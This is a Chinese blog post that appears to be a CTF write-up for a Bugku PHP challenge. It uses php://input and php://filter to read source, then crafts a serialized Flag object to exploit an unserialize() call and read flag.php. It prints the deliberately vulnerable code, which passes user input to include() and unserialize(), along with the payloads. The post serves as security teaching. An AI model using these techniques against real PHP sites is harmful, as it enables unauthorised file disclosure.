http://www.bugku.com:Bugku——PHP伪协议+魔幻函数+序列化的综合应用(http://120.24.86.145:8006/test1/)

  这一道题目,幸好俺有基础知识护体,不然还真干不掉。
 
  首先,登录看题目,取消隐藏代码的注释。可知可输入三个参数txt、file和password并进行逻辑判断;应该让txt==‘welcome to the bugkuctf’,让file=hint.php,但输入没反应(原因是file_get_contents()是将一个文件读进去,其中一种方法是POST提交,不是GET参数哦),思考可以通过伪协议,借用第三方数据做参数,嘻嘻。
 

 

1.伪协议php://input和php://filter+魔幻函数
  官方文档中说,php://input是一个可以访问 请求的原始数据 的只读流,emmmmmmmm。此处使用它读取请求数据包body的内容
  php://filter被设计用于数据打开时的筛选过滤应用,后可以加resource、read和write选项。此处使用它来转译数据。
  启程--

 

  上图呢,通过php://input获取请求包中body信息(一会儿构造),通过php://filter/read=convert.base64-encode/resource=hint.php获取hint.php文件的base64编码内容,为什么编码捏,因为在网页直接看不到php内容哦。。。。拦截到包后,增加了内容,如下图所示,反馈的一坨结果就是编码内容。

 

  解码后,清爽多了:
<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>  
  这就是hint.php的内容,emmmmmmmm看见没,里面提示flag.php,引导说明这里面会有flag。现在的逻辑是,通过主页面(默认是index.php)可搜索到hint.php,通过hint.php极有可能获取到flag.php中的flag信息。
  hint.php中里是一个类,而且里面居然有魔幻函数__tostring(),它在类创建的对象为字符串时会调用,怎样可以将一个对象变成字符串呢?用序列化呗。
 
2.序列化与反序列化
  在本地创建一个PHP文件,内容为
<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);
            echo "<br>";
        return ("good");
        }  
    }  
}  
$f=new Flag();
$f->file=flag.php;
echo serialize($f);
?>  
  序列化的结果为
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  但这个结果怎么传递捏。
 
  其实,主界面默认是index.php,而我们并看不到全面的代码,所以捏,先base64编码它再看,嘿嘿。

 

emmmmmmmmmm,界面内容是这样的,关键点直接在代码中gank。
<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];    
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){
        echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";//这儿说明了不能直接在主界面中查看flag.php内容-。-
        exit();  
    }else{  //看到了,这儿反序列并输出了flag对象中的输出值,其中就有flag.php文件的内容。
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}    
?>    
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];    
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
-->  
  好了,都清楚了,看看操作和结果吧,
 

 

hieahiea-。-
 
 
 

posted on 2019-01-21 10:00  HYWZ  阅读(342)  评论(0编辑  收藏  举报

导航